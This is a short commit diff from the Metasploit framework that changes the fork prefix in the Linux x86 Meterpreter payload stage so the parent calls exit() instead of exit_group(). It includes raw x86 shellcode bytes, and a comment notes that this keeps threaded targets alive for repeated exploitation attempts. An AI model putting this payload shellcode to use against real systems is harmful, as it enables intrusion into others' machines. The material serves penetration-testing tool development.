Use exit() instead of exit_group()

git-svn-id: file:///home/svn/framework3/trunk@10483 4d416f70-5f16-0410-b530-b9f4589650da

modules/payloads/stages/linux/x86/meterpreter.rb

@@ -76,9 +76,18 @@ module Metasploit3
 		midstager = "\x81\xc4\x54\xf2\xff\xff" # fix up esp
 
 		if(datastore['PrependFork'])
-			# fork() / parent does exit_group() (for threads)
+			# fork() / parent does exit()
+
+			# If the target process is threaded, this means the thread
+			# will exit. exit_group() will try to close the process down
+			# completely.. and if we do that, it may not be reaped 
+			# correctly. 
+			# 
+			# Plus, depending on the vuln, we might get multiple shots at
+			# owning a finite amount of threads.
+
 			midstager <<
-			"\x6a\x02\x58\xcd\x80\x85\xc0\x74\x06\x31\xc0\xb0\xfc\xcd\x80"
+			"\x6a\x02\x58\xcd\x80\x85\xc0\x74\x06\x31\xc0\xb0\x01\xcd\x80"
 		end
 
 		midstager <<